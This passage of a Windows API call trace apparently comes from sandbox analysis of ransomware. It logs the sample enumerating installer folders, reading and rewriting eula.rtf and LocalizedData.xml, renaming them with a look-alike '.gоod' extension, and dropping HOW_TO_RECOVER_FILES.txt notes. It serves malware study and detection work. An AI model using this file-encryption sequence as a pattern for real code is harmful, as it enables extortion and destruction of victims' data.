(lpExistingFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1041\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1041\\localizeddata.xml.gоod")) returned 1 [0099.079] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1041\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1041\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0099.079] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0099.079] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1041\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1041\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b0 [0099.079] GetFileType (hFile=0x7b0) returned 0x1 [0099.079] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0099.079] GetFileType (hFile=0x7b0) returned 0x1 [0099.080] WriteFile (in: hFile=0x7b0, lpBuffer=0x334bc60*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x334bc60*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0099.081] CloseHandle (hObject=0x7b0) returned 1 [0099.081] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0099.081] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042", lpFilePart=0x0) returned 0x1a [0099.081] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec51d20 [0099.081] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.081] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0099.082] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0099.082] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0099.082] FindNextFileW (in: hFindFile=0x1ec51d20, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x0, ftCreationTime.dwLowDateTime=0x0, ftCreationTime.dwHighDateTime=0x0, ftLastAccessTime.dwLowDateTime=0x0, ftLastAccessTime.dwHighDateTime=0x0, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="", cAlternateFileName="")) returned 0 [0099.082] FindClose (in: hFindFile=0x1ec51d20 | out: hFindFile=0x1ec51d20) returned 1 [0099.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0099.082] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0099.082] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 [0099.082] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042", nBufferLength=0x105, lpBuffer=0x1f6ed990, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042", lpFilePart=0x0) returned 0x1a [0099.082] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\*", lpFindFileData=0x1f6edc10 | out: lpFindFileData=0x1f6edc10*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x1ec52440 [0099.082] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf37b4fe2, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf38014a5, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0099.083] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0099.083] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0099.083] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0099.083] FindNextFileW (in: hFindFile=0x1ec52440, lpFindFileData=0x1f6edbd0 | out: lpFindFileData=0x1f6edbd0*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0099.083] FindClose (in: hFindFile=0x1ec52440 | out: hFindFile=0x1ec52440) returned 1 [0099.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6ede30) returned 1 [0099.083] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddf0) returned 1 [0099.083] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\eula.rtf", lpFilePart=0x0) returned 0x23 [0099.083] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0099.084] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x335aee8 | out: lpFileInformation=0x335aee8*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x318f)) returned 1 [0099.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0099.084] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\eula.rtf", lpFilePart=0x0) returned 0x23 [0099.084] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0099.084] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0099.084] GetFileType (hFile=0x7b0) returned 0x1 [0099.084] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0099.084] GetFileType (hFile=0x7b0) returned 0x1 [0099.084] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0099.084] ReadFile (in: hFile=0x7b0, lpBuffer=0x335b260, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x335b260*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0099.085] CloseHandle (hObject=0x7b0) returned 1 [0099.085] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\eula.rtf", lpFilePart=0x0) returned 0x23 [0099.086] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0099.086] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0099.086] GetFileType (hFile=0x7b0) returned 0x1 [0099.086] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0099.086] GetFileType (hFile=0x7b0) returned 0x1 [0099.086] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x318f [0099.086] WriteFile (in: hFile=0x7b0, lpBuffer=0x335c4a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x335c4a8*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0099.087] CloseHandle (hObject=0x7b0) returned 1 [0099.087] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\eula.rtf", lpFilePart=0x0) returned 0x23 [0099.087] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0099.087] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0099.087] GetFileType (hFile=0x7b0) returned 0x1 [0099.087] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0099.087] GetFileType (hFile=0x7b0) returned 0x1 [0099.087] ReadFile (in: hFile=0x7b0, lpBuffer=0x335e718, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x335e718*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0099.637] CloseHandle (hObject=0x7b0) returned 1 [0099.637] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\eula.rtf", lpFilePart=0x0) returned 0x23 [0099.637] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0099.637] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0099.638] GetFileType (hFile=0x7b0) returned 0x1 [0099.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0099.638] GetFileType (hFile=0x7b0) returned 0x1 [0099.638] WriteFile (in: hFile=0x7b0, lpBuffer=0x3313780*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x3313780*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0099.638] CloseHandle (hObject=0x7b0) returned 1 [0099.638] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\eula.rtf", lpFilePart=0x0) returned 0x23 [0099.638] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\eula.rtf.gоod", lpFilePart=0x0) returned 0x28 [0099.638] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0099.638] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x3799d020, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x319f)) returned 1 [0099.638] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0099.638] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\eula.rtf.gоod" (normalized: "c:\\588bce7c90097ed212\\1042\\eula.rtf.gоod")) returned 1 [0099.640] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0099.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edca0) returned 1 [0099.640] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x3370d80 | out: lpFileInformation=0x3370d80*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xfed6)) returned 1 [0099.640] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc60) returned 1 [0099.640] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0099.640] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0099.640] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0099.641] GetFileType (hFile=0x7b0) returned 0x1 [0099.641] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0099.641] GetFileType (hFile=0x7b0) returned 0x1 [0099.641] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0x1000 [0099.641] ReadFile (in: hFile=0x7b0, lpBuffer=0x3371148, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edcc8, lpOverlapped=0x0 | out: lpBuffer=0x3371148*, lpNumberOfBytesRead=0x1f6edcc8*=0x1000, lpOverlapped=0x0) returned 1 [0099.642] CloseHandle (hObject=0x7b0) returned 1 [0099.642] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0099.642] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0099.642] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0099.642] GetFileType (hFile=0x7b0) returned 0x1 [0099.642] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0099.642] GetFileType (hFile=0x7b0) returned 0x1 [0099.642] SetFilePointer (in: hFile=0x7b0, lDistanceToMove=0, lpDistanceToMoveHigh=0x1f6edcf8*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1f6edcf8*=0) returned 0xfed6 [0099.642] WriteFile (in: hFile=0x7b0, lpBuffer=0x33728a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1f6edbe8, lpOverlapped=0x0 | out: lpBuffer=0x33728a8*, lpNumberOfBytesWritten=0x1f6edbe8*=0x10, lpOverlapped=0x0) returned 1 [0099.643] CloseHandle (hObject=0x7b0) returned 1 [0099.643] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0099.643] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0099.643] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0099.643] GetFileType (hFile=0x7b0) returned 0x1 [0099.643] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0099.643] GetFileType (hFile=0x7b0) returned 0x1 [0099.644] ReadFile (in: hFile=0x7b0, lpBuffer=0x3374b40, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1f6edc78, lpOverlapped=0x0 | out: lpBuffer=0x3374b40*, lpNumberOfBytesRead=0x1f6edc78*=0x1000, lpOverlapped=0x0) returned 1 [0100.216] CloseHandle (hObject=0x7b0) returned 1 [0100.216] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed680, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0100.216] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edba0) returned 1 [0100.216] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x7b0 [0100.216] GetFileType (hFile=0x7b0) returned 0x1 [0100.216] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edb10) returned 1 [0100.216] GetFileType (hFile=0x7b0) returned 0x1 [0100.216] WriteFile (in: hFile=0x7b0, lpBuffer=0x334e4f0*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1f6edd28, lpOverlapped=0x0 | out: lpBuffer=0x334e4f0*, lpNumberOfBytesWritten=0x1f6edd28*=0x1010, lpOverlapped=0x0) returned 1 [0100.216] CloseHandle (hObject=0x7b0) returned 1 [0100.217] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml", lpFilePart=0x0) returned 0x2c [0100.217] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.gоod", nBufferLength=0x105, lpBuffer=0x1f6ed7d0, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.gоod", lpFilePart=0x0) returned 0x31 [0100.217] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edc60) returned 1 [0100.217] GetFileAttributesExW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), fInfoLevelId=0x0, lpFileInformation=0x1f6edd40 | out: lpFileInformation=0x1f6edd40*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x37f14cdd, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0xfee6)) returned 1 [0100.217] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6edc20) returned 1 [0100.217] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml"), lpNewFileName="C:\\588bce7c90097ed212\\1042\\LocalizedData.xml.gоod" (normalized: "c:\\588bce7c90097ed212\\1042\\localizeddata.xml.gоod")) returned 1 [0100.218] GetFullPathNameW (in: lpFileName="C:\\588bce7c90097ed212\\1042\\HOW_TO_RECOVER_FILES.txt", nBufferLength=0x105, lpBuffer=0x1f6ed940, lpFilePart=0x0 | out: lpBuffer="C:\\588bce7c90097ed212\\1042\\HOW_TO_RECOVER_FILES.txt", lpFilePart=0x0) returned 0x33 [0100.218] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6ede60) returned 1 [0100.218] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1042\\HOW_TO_RECOVER_FILES.txt" (normalized: "c:\\588bce7c90097ed212\\1042\\how_to_recover_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x7b0 [0100.218] GetFileType (hFile=0x7b0) returned 0x1 [0100.219] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1f6eddd0) returned 1 [0100.219] GetFileType (hFile=0x7b0) returned 0x1 [0100.219] WriteFile (in: hFile=0x7b0, lpBuffer=0x353e460*, nNumberOfBytesToWrite=0x5d0, lpNumberOfBytesWritten=0x1f6edf28, lpOverlapped=0x0 | out: lpBuffer=0x353e460*, lpNumberOfBytesWritten=0x1f6edf28*=0x5d0, lpOverlapped=0x0) returned 1 [0100.220] CloseHandle (hObject=0x7b0) returned 1 [0100.220] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1f6edef0) returned 1 